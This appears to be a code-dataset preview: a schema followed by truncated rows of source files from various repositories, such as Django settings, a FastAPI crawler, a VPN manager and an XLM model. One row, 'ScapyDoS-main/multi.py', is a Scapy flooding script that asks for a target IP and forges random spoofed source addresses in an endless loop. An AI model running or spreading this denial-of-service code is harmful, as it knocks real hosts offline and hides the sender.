hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
198866ad795c1c947217a9872e92982a9174b255
6,127
py
Python
lom/settings.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
lom/settings.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
lom/settings.py
alien3211/lom-web
c7971238b0dd043854c911a0b9126b84d7deed4a
[ "MIT" ]
null
null
null
""" Django settings for lom project. Generated by 'django-admin startproject' using Django 1.10.3. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ from configura...
27.110619
100
0.616941
27246d12e462d507eac245b809919ddd78922b3f
373
py
Python
pacman-termux/test/pacman/tests/scriptlet-signal-reset.py
Maxython/pacman-for-termux
3b208eb9274cbfc7a27fca673ea8a58f09ebad47
[ "MIT" ]
23
2021-05-21T19:11:06.000Z
2022-03-31T18:14:20.000Z
source/pacman-6.0.1/test/pacman/tests/scriptlet-signal-reset.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
11
2021-05-21T12:08:44.000Z
2021-12-21T08:30:08.000Z
source/pacman-6.0.1/test/pacman/tests/scriptlet-signal-reset.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-09-26T08:44:40.000Z
2021-09-26T08:44:40.000Z
self.description = "Reset signals before running scriptlets/hooks" p1 = pmpkg("dummy") # check if SIGPIPE is ignored, it should be fatal, but GPGME ignores it p1.install['post_install'] = "kill -PIPE $$; echo fail > sigpipe_was_ignored" self.addpkg(p1) self.args = "-U %s" % p1.filename() self.addrule("PACMAN_RETCODE...
31.083333
77
0.739946
2782ebd0131e70464d9b335119803a0edeb438e2
1,392
py
Python
main.py
xeust/patram
802f655fec1c405cb0102baeb1878605c6ddae6d
[ "MIT" ]
null
null
null
main.py
xeust/patram
802f655fec1c405cb0102baeb1878605c6ddae6d
[ "MIT" ]
null
null
null
main.py
xeust/patram
802f655fec1c405cb0102baeb1878605c6ddae6d
[ "MIT" ]
null
null
null
from fastapi import FastAPI, HTTPException, Request from fastapi.responses import FileResponse, HTMLResponse, RedirectResponse from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates from crawler import Crawler app = FastAPI() templates = Jinja2Templates(directory="templates") @ap...
26.264151
74
0.676006
27dbbdcb70453f7255c8e73fac5694142a295d76
426
py
Python
swap_case.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
swap_case.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
swap_case.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
def swap_case(s): converted = "" for character in s: if (character >= 'a' and character <= 'z'): converted += str(character.upper()) elif (character >= 'A' and character <= 'Z'): converted += str(character.lower()) else: converted += str(character) ...
26.625
53
0.544601
e336c5d75fb6cafe22ba1556c0b754e0e4ac51a1
24,810
py
Python
repo/service.vpn.manager/libs/alternativeNord.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
1
2017-11-26T18:18:46.000Z
2017-11-26T18:18:46.000Z
repo/service.vpn.manager/libs/alternativeNord.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
null
null
null
repo/service.vpn.manager/libs/alternativeNord.py
dbiesecke/dbiesecke.github.io
5894473591f078fd22d1cb33794c5e656ae9b8dd
[ "MIT" ]
3
2019-09-30T19:52:05.000Z
2020-04-12T21:20:56.000Z
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright (C) 2018 Zomboided # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your...
47.711538
226
0.626683
8bc540b5e5d5d7b28306e7a236282dda0fd4cde2
1,493
py
Python
cs/lambda_cs/06_graphs/projects/adventure/adv.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
cs/lambda_cs/06_graphs/projects/adventure/adv.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/06_graphs/projects/adventure/adv.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
from room import Room from player import Player from world import World import random from ast import literal_eval # Load world world = World() # You may uncomment the smaller graphs for development and testing purposes. # map_file = "maps/test_line.txt" # map_file = "maps/test_cross.txt" # map_file = "maps/test_lo...
23.698413
91
0.707301
9a7043941a75c665633de1761847e06c8884b8af
98
py
Python
the_platform/apps.py
Thames1990/BadBatBets
8dffb69561668b8991bf4103919e4b254d4ca56a
[ "MIT" ]
null
null
null
the_platform/apps.py
Thames1990/BadBatBets
8dffb69561668b8991bf4103919e4b254d4ca56a
[ "MIT" ]
null
null
null
the_platform/apps.py
Thames1990/BadBatBets
8dffb69561668b8991bf4103919e4b254d4ca56a
[ "MIT" ]
null
null
null
from django.apps import AppConfig class ThePlatformConfig(AppConfig): name = 'the_platform'
16.333333
35
0.77551
d07827271658c31dd377d90a19107a71b7ce638f
97
py
Python
django_project/image_parroter/thumbnailer/apps.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
1
2019-05-20T15:12:06.000Z
2019-05-20T15:12:06.000Z
django_project/image_parroter/thumbnailer/apps.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
17
2020-06-05T17:46:38.000Z
2022-03-08T22:39:33.000Z
django_project/image_parroter/thumbnailer/apps.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
1
2020-05-15T13:49:33.000Z
2020-05-15T13:49:33.000Z
from django.apps import AppConfig class ThumbnailerConfig(AppConfig): name = 'thumbnailer'
16.166667
35
0.773196
d0be26d38413251c1cee278cf8c57a4916ca0dc7
56,073
py
Python
paddlenlp/transformers/xlm/modeling.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/transformers/xlm/modeling.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/transformers/xlm/modeling.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2022 PaddlePaddle Authors. All Rights Reserved. # Copyright 2019-present, Facebook, Inc and the HuggingFace Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # ...
38.06721
129
0.534821
4bdf4702445b0215b7eb556fd9437a55fd3cf3bf
680
py
Python
ScapyDoS-main/multi.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
ScapyDoS-main/multi.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
ScapyDoS-main/multi.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
from scapy.all import * import random target = input("Target IP: ") i=1 while True: a = str(random.randint(1, 254)) b = str(random.randint(1, 254)) c = str(random.randint(1, 254)) d = str(random.randint(1, 254)) dot = "." src = a+dot+b+dot+c+dot+d print(src) st = random.randint(1, 100...
21.935484
42
0.55
08650c93b403d24fd6499ac8e463660b8250f747
3,660
py
Python
scripts/unification/move_banjo_library.py
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
3
2020-08-02T04:46:18.000Z
2020-08-07T10:10:53.000Z
scripts/unification/move_banjo_library.py
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
null
null
null
scripts/unification/move_banjo_library.py
opensource-assist/fuschia
66646c55b3d0b36aae90a4b6706b87f1a6261935
[ "BSD-3-Clause" ]
1
2020-08-07T10:11:49.000Z
2020-08-07T10:11:49.000Z
#!/usr/bin/env python2.7 # Copyright 2019 The Fuchsia Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import fileinput import os import re import shutil import subprocess import sys SCRIPT_DIR = os.path.dirname(os.pat...
34.857143
79
0.55929
f860ed60d52bebfdccd24b8ac7c90ddba93dd7b5
7,096
py
Python
src/onegov/org/models/organisation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/models/organisation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/models/organisation.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
""" Contains the model describing the organisation proper. """ from hashlib import sha256 from onegov.core.orm import Base from onegov.core.orm.mixins import meta_property, TimestampMixin from onegov.core.orm.types import JSON, UUID from onegov.core.utils import linkify, paragraphify from onegov.org.theme import user_...
33.630332
77
0.718997
398bb341ffd1b4fce7d8a8952aaad784ba153cc7
7,818
py
Python
src/onegov/election_day/screen_widgets/election.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/screen_widgets/election.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/election_day/screen_widgets/election.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.election_day import ElectionDayApp from onegov.election_day.screen_widgets.generic import ModelBoundWidget from onegov.election_day.utils.election import get_candidates_results from onegov.election_day.utils.election import get_candidates_results_by_entity from onegov.election_day.utils.election import get_...
31.910204
90
0.587362
4b42b97fa8aaa8428bb76cce83933e96d851514a
4,196
py
Python
myspiders/spider_hr/pingan_spider.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
2
2021-11-27T06:40:47.000Z
2022-01-06T03:12:46.000Z
myspiders/spider_hr/pingan_spider.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
null
null
null
myspiders/spider_hr/pingan_spider.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
null
null
null
from myspiders.ruia import JsonField, Item, Spider from config import Target import math from copy import copy from config import Job ''' businessUnitId: "PA012" businessUnitName: "平安金服" campusTalkId: "" channelId: "1" createdBy: "ZHAOYANAN123" createdDate: "2020-03-01 20:47:23" deptId: "S000048875" deptName: "金服西安分公司...
30.852941
154
0.71306
4b98d52afc8f07a44dbaacecafb61ece472086d7
4,314
py
Python
oldp/apps/cases/tests/test_models.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
3
2020-06-27T08:19:35.000Z
2020-12-27T17:46:02.000Z
oldp/apps/cases/tests/test_models.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
oldp/apps/cases/tests/test_models.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
import logging import os from datetime import date from unittest import skip from django.core.exceptions import ValidationError from django.db import DataError from django.test import TestCase from oldp.apps.backend.processing import ProcessingError from oldp.apps.cases.models import Case from oldp.apps.courts.models...
30.595745
112
0.615902
8a78400f20e264267abadb5fab61dabc071fb19e
3,064
py
Python
python/oneflow/framework/function_desc.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/framework/function_desc.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/framework/function_desc.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
40.315789
86
0.719974
0a2e6ce9e3760cf3f1c6081f22d798f64774aa2e
3,198
py
Python
research/cv/retinanet_resnet152/src/lr_schedule.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/retinanet_resnet152/src/lr_schedule.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/retinanet_resnet152/src/lr_schedule.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
43.216216
112
0.642589
7c24a87c3f649b0dcfb80d002b083fe70f54bf70
836
py
Python
exercises/es/solution_02_14.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/es/solution_02_14.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/es/solution_02_14.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
import json import spacy with open("exercises/es/countries.json", encoding="utf8") as f: COUNTRIES = json.loads(f.read()) nlp = spacy.blank("es") doc = nlp( "La Unión Europea fue fundada por seis países de Europa occidental " "(Francia, Alemania, Italia, Bélgica, Países Bajos, y Luxemburgo) y " "se am...
30.962963
82
0.741627
7c3fce2984735972af1787f7a553a3a15493e1b7
1,012
py
Python
exercises/de/exc_03_07.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/de/exc_03_07.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/de/exc_03_07.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy from spacy.matcher import PhraseMatcher from spacy.tokens import Span nlp = spacy.load("de_core_news_sm") animals = ["Golden Retriever", "Katze", "Schildkröte", "Rattus norvegicus"] animal_patterns = list(nlp.pipe(animals)) print("animal_patterns:", animal_patterns) matcher = PhraseMatcher(nlp.vocab) matc...
33.733333
83
0.748024
7cb745ca9eae5376b64ca3c55a7c484f4938d88d
64
py
Python
keras_fcn/__init__.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
235
2017-03-01T14:34:29.000Z
2021-06-03T16:16:16.000Z
keras_fcn/__init__.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
39
2017-03-25T01:20:25.000Z
2020-10-30T11:51:47.000Z
keras_fcn/__init__.py
li657835991/FCN
26bafeaf631a095d9d2befcc3b798a87c8d0fa7c
[ "MIT" ]
105
2017-04-13T21:31:46.000Z
2021-11-01T17:25:48.000Z
"""fcn init.""" from .models import ( FCN, FCN_VGG16 )
9.142857
21
0.546875
8642084e2dbe56e594fa805d532af74f38e3a84b
1,711
py
Python
models.py
bjoernh/immunsicht_backend
dae264a01da775bc99edf89afabf0b9759682d1b
[ "MIT" ]
1
2020-04-06T23:17:55.000Z
2020-04-06T23:17:55.000Z
models.py
bjoernh/immunsicht_backend
dae264a01da775bc99edf89afabf0b9759682d1b
[ "MIT" ]
null
null
null
models.py
bjoernh/immunsicht_backend
dae264a01da775bc99edf89afabf0b9759682d1b
[ "MIT" ]
null
null
null
from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, Date from sqlalchemy.orm import relationship from enum import Enum from .database import Base class BiologicalGender(Enum): woman = 1 man = 2 unknown = 3 class InsuranceCompany(Base): __tablename__ = "insurance_company" id = Co...
32.283019
75
0.725891
86bc5d77ce51962a994b8df04205bfd8efebdf08
1,672
py
Python
Practical_RL/week4_[recap]_deep_learning/notmnist.py
gopala-kr/ds-notebooks
bc35430ecdd851f2ceab8f2437eec4d77cb59423
[ "MIT" ]
10
2018-01-16T16:48:31.000Z
2022-02-09T07:42:13.000Z
week4_[recap]_deep_learning/notmnist.py
bharat3012/Practical_RL
f338faecc589b9423c192f6b466375095c69b2ca
[ "MIT" ]
1
2018-03-21T18:34:33.000Z
2018-03-21T18:36:18.000Z
week4_[recap]_deep_learning/notmnist.py
bharat3012/Practical_RL
f338faecc589b9423c192f6b466375095c69b2ca
[ "MIT" ]
23
2018-01-16T11:16:28.000Z
2021-01-05T02:21:19.000Z
import os import numpy as np from scipy.misc import imread,imresize from sklearn.model_selection import train_test_split from glob import glob def load_notmnist(path='./notMNIST_small',letters='ABCDEFGHIJ', img_shape=(28,28),test_size=0.25,one_hot=False): # download data if it's missing. If ...
38
121
0.638756
86be7075c98893286493987a3509f613d24b24eb
3,728
py
Python
scripts/dim-reduction/punjabi-cache-frames.py
jenniferxkuo/ultramisc
65bff53c97715eb9a24acc62b77460f22e0dabc6
[ "MIT" ]
null
null
null
scripts/dim-reduction/punjabi-cache-frames.py
jenniferxkuo/ultramisc
65bff53c97715eb9a24acc62b77460f22e0dabc6
[ "MIT" ]
null
null
null
scripts/dim-reduction/punjabi-cache-frames.py
jenniferxkuo/ultramisc
65bff53c97715eb9a24acc62b77460f22e0dabc6
[ "MIT" ]
null
null
null
""" TODO docstring """ from __future__ import absolute_import, division, print_function import os, sys, glob, re from PIL import Image import struct import argparse from operator import itemgetter import numpy as np from scipy import ndimage import subprocess import pandas as pd from hashlib import sha1 from collecti...
31.59322
171
0.636534
0780fe805682c06b01e9a4489fa02f49c6e0c2ff
10,343
py
Python
back-end/src/analysis/NeuralNet/NNTest/nllreal.py
akshah/iodb
80fbad1cb639e2cad304d6565cf4918ee5b4e4c0
[ "Apache-2.0" ]
null
null
null
back-end/src/analysis/NeuralNet/NNTest/nllreal.py
akshah/iodb
80fbad1cb639e2cad304d6565cf4918ee5b4e4c0
[ "Apache-2.0" ]
null
null
null
back-end/src/analysis/NeuralNet/NNTest/nllreal.py
akshah/iodb
80fbad1cb639e2cad304d6565cf4918ee5b4e4c0
[ "Apache-2.0" ]
null
null
null
import gradientDescent as gd import numpy as np import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D import random import sys class NeuralNetClassifier: """ Neural network with one hidden layer. For nonlinear regression (prediction of real-valued outputs) net = NeuralNet(ni,nh,no) # ni...
33.364516
162
0.527313
0797e78d0e837442a9e893ae814f26250b71ebcf
3,667
py
Python
pyramid-creator/app/api/endpoints/slides.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-11-04T17:06:07.000Z
2021-11-04T17:06:07.000Z
pyramid-creator/app/api/endpoints/slides.py
JamesNeumann/learning-by-annotations
c2b5e4b653eeb1c973aa5a7dad35ac8be18cb1ad
[ "MIT" ]
21
2021-11-01T10:13:56.000Z
2021-12-02T10:02:13.000Z
pyramid-creator/app/api/endpoints/slides.py
jinnn-dev/patholearn
b4e6a18cfbf963e71640ed6cac3fc3a618a7ae15
[ "MIT" ]
1
2021-12-16T18:20:55.000Z
2021-12-16T18:20:55.000Z
import uuid from typing import Dict, List from app import app from app.crud.crud_slide import crud_slide from app.db.deps import get_slide_collection from app.schemas.slide import CreateSlide, Slide, SlideStatus from app.utils.file_utils import write_slide_to_disk from app.utils.slide_utils import ( conve...
32.166667
89
0.680393
ed32c5d5dafd9c7af023c0273c0505a696ff8e0f
762
pyde
Python
sketches/julia2/julia2.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
4
2018-06-03T02:11:46.000Z
2021-08-18T19:55:15.000Z
sketches/julia2/julia2.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
null
null
null
sketches/julia2/julia2.pyde
kantel/processingpy
74aae222e46f68d1c8f06307aaede3cdae65c8ec
[ "MIT" ]
3
2019-12-23T19:12:51.000Z
2021-04-30T14:00:31.000Z
left = -2.0 right = 2.0 bottom = 2.0 top = -2.0 maxlimit = 3.0 maxiter = 25 c = complex(-0.70176, -0.3842) def setup(): size(400, 400) background("#555ddd") colorMode(HSB, 1) noLoop() def draw(): for x in range(width): zr = left + x*(right - left)/width for y in range(height)...
24.580645
70
0.431759
1358c70e7a51778eb4b5e4d7f949c30221f4e03d
2,462
py
Python
qmk_firmware/lib/python/qmk/cli/format/json.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
2
2021-04-16T23:29:01.000Z
2021-04-17T02:26:22.000Z
qmk_firmware/lib/python/qmk/cli/format/json.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
null
null
null
qmk_firmware/lib/python/qmk/cli/format/json.py
DanTupi/personal_setup
911b4951e4d8b78d6ea8ca335229e2e970fda871
[ "MIT" ]
null
null
null
"""JSON Formatting Script Spits out a JSON file formatted with one of QMK's formatters. """ import json from jsonschema import ValidationError from milc import cli from qmk.info import info_json from qmk.json_schema import json_load, keyboard_validate from qmk.json_encoders import InfoJSONEncoder, KeymapJSONEncoder ...
36.746269
154
0.647035
b96c29d067bfbea4349e4359202f9bcf0f071834
190,789
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/agilepy/lib_wx/ogleditor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/agilepy/lib_wx/ogleditor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/agilepy/lib_wx/ogleditor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
37.623546
172
0.533988
b9833bcc58fa0b8676b2b4db295adb201cd17c3a
595
py
Python
src/sft/protocol/definition.py
huykingsofm/FileTransmitter
f0f8cd0d6f941903bb8c42291a81b711055fcb1a
[ "MIT" ]
1
2020-08-28T19:06:13.000Z
2020-08-28T19:06:13.000Z
src/sft/protocol/definition.py
huykingsofm/sft
f0f8cd0d6f941903bb8c42291a81b711055fcb1a
[ "MIT" ]
null
null
null
src/sft/protocol/definition.py
huykingsofm/sft
f0f8cd0d6f941903bb8c42291a81b711055fcb1a
[ "MIT" ]
null
null
null
import csbuilder from csbuilder.standard import Protocols, Roles, States @csbuilder.protocols class SFTProtocols(Protocols): SFT = 8888 @csbuilder.roles(protocol=SFTProtocols.SFT) class SFTRoles(Roles): SENDER = 0 RECEIVER = 1 @csbuilder.states(SFTProtocols.SFT,SFTRoles.SENDER) class SFTSenderStates(S...
17.5
55
0.687395
b9910601cc09d3f8099e71d68a4a32a1caf3084a
1,967
py
Python
packages/std/nodes/std___Equal0/std___Equal0.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/std/nodes/std___Equal0/std___Equal0.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
packages/std/nodes/std___Equal0/std___Equal0.py
Shirazbello/Pyscriptining
0f2c80a9bb10477d65966faeccc7783f20385c1b
[ "MIT" ]
null
null
null
from custom_src.NodeInstance import NodeInstance from custom_src.Node import Node # USEFUL # self.input(index) <- access to input data # self.outputs[index].set_val(val) <- set output data port value # self.main_widget <- access to main widget # self.exec_output(index) ...
33.913793
97
0.667514
b9b6f31d58668ab7781e292b0fe35fc7abcdf66c
1,767
py
Python
cs/lambda_cs/07_computer_architecture/notes/671/671_lesson.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
cs/lambda_cs/07_computer_architecture/notes/671/671_lesson.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
8
2020-03-24T17:47:23.000Z
2022-03-12T00:33:21.000Z
cs/lambda_cs/07_computer_architecture/notes/671/671_lesson.py
tobias-fyi/vela
b0b3d3c6dc3fa397c8c7a492098a02cf75e0ff82
[ "MIT" ]
null
null
null
""" Computer Architecture — Day 1 :: Bases and Basics Python program that runs programs """ # PRINT_TOBY = 1 # HALT = 2 # memory = [ # PRINT_TOBY, # PRINT_TOBY, # PRINT_TOBY, # PRINT_TOBY, # PRINT_TOBY, # HALT, # ] # for v in memory: # if v == PRINT_TOBY: # print("Toby") # el...
18.797872
66
0.561404
6a01a62a104fb339bc0a0bbc262ade791cafd8c6
4,878
py
Python
Utils/update_playbook.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Utils/update_playbook.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Utils/update_playbook.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import sys import ntpath import yaml import yamlordereddictloader def add_description(playbook): """ add empty description to tasks of type title, start, end currently demisto exports those tasks without description, but the build hook validations require description :param playbook: playbook dict lo...
31.882353
116
0.656212
6a30bd5f7846a418fe431b70a8fda098efd6bee8
11,622
py
Python
myspiders/ruia/request.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
2
2021-11-27T06:40:47.000Z
2022-01-06T03:12:46.000Z
myspiders/ruia/request.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
null
null
null
myspiders/ruia/request.py
zhouhongf/bank_hr
a42e5e18f3ec36b1ec65931415fe476c9690e0a0
[ "MIT" ]
null
null
null
#!/usr/bin/env python # Request类中,通过构造方法实例化后,添加了form_data的实例属性, 用来实现Spider的POST请求 import asyncio import weakref import aiohttp import async_timeout from inspect import iscoroutinefunction from types import AsyncGeneratorType from typing import Coroutine, Optional, Tuple from asyncio.locks import Semaphore from urllib.p...
35.76
157
